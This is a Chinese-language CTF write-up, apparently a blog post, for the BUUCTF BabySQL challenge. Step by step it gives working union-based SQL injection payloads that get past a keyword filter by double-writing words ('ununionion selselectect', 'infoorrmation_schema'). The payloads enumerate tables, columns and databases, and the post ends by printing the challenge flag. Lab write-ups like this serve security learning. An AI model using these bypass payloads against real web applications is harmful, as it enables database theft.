BUUCTF---[极客大挑战 2019]BabySQL1

简介: BUUCTF---[极客大挑战 2019]BabySQL1

1.这道题和之前做的几道题是相似的,这道题考的知识点更多。难度也比之前的大一些

2.尝试万能密码' or =1#发现过滤了or,使用1'和1'',发现他对单引号也进行了过滤。于是我尝试进行双写绕过,发现可以通过了。

3.由之前的做题经验可知,这道题会涉及到数据库

4.我们先来查询它的列数,一共有四列

5.接着查表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#使用该语句查表名时发现union,select,from,where都被过滤了

尝试在单词中间插入一样的字母,可以绕过,但是提示表不存在

经过仔细观察才发现informationz中有or所以也要使用双写绕过

6.得到了表名b4bsql,geekuser,接下来查表中字段

使用下面命令爆第一张表的字段

1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

使用下面命令爆第二张表的字段

1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'#

7.字段有了,接下来爆字段中的信息

先使用下面命令查询第一张表中字段信息

1' ununionion selselectect 1,2,group_concat(id,username,password) frfromom geekuser#

8.这里没有得到flag可能是我遗漏了什么,查了资料才发现,flag可能不在我们当前这个数据库里面,想到一开始,我还没查询库名,不知道它有几个苦命,于是使用下面命令进行数据库库名查询

查完才知道原来它不止一个库

1' ununionion selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#

9.使用下面指令查flag

1' ununionion selselectect 1,2,flag frfromom 库名.Flag#

10.经过不断的试库,终于在ctf库中得到了flag

使用的命令为

1' ununionion selselectect 1,2,flag frfromom ctf.Flag#
flag{e2f874de-5c8c-47ea-b8ac-b4f5a42bf231}
相关文章
|
1月前
|
信息无障碍 数据安全/隐私保护
buuctf-misc-25.假如给我三天光明
buuctf-misc-25.假如给我三天光明
|
1月前
|
网络协议 数据安全/隐私保护
BUUCTF 神秘龙卷风 1
BUUCTF 神秘龙卷风 1
132 0
|
1月前
|
SQL 数据库 数据安全/隐私保护
BUUCTF[极客大挑战 2019]EasySQL1
BUUCTF[极客大挑战 2019]EasySQL1
|
1月前
|
算法 Serverless Python
|
1月前
|
PHP 数据安全/隐私保护 C语言
BUUCTF---[极客大挑战 2019]BuyFlag1
BUUCTF---[极客大挑战 2019]BuyFlag1
|
1月前
|
数据库 数据安全/隐私保护
BUUCTF---[极客大挑战 2019]LoveSQL1
BUUCTF---[极客大挑战 2019]LoveSQL1
|
1月前
|
数据库 数据安全/隐私保护
BUUCTF---web---[极客大挑战 2019]HardSQL
BUUCTF---web---[极客大挑战 2019]HardSQL
|
1月前
|
Web App开发 Go PHP
BUUCTF---[极客大挑战 2019]Http1
BUUCTF---[极客大挑战 2019]Http1
|
1月前
|
缓存 算法 自动驾驶
百度Cyber框架面试总结
百度Cyber框架面试总结
30 0
|
1月前
|
SQL 数据库
BUUCTF sqltest 1
BUUCTF sqltest 1
132 0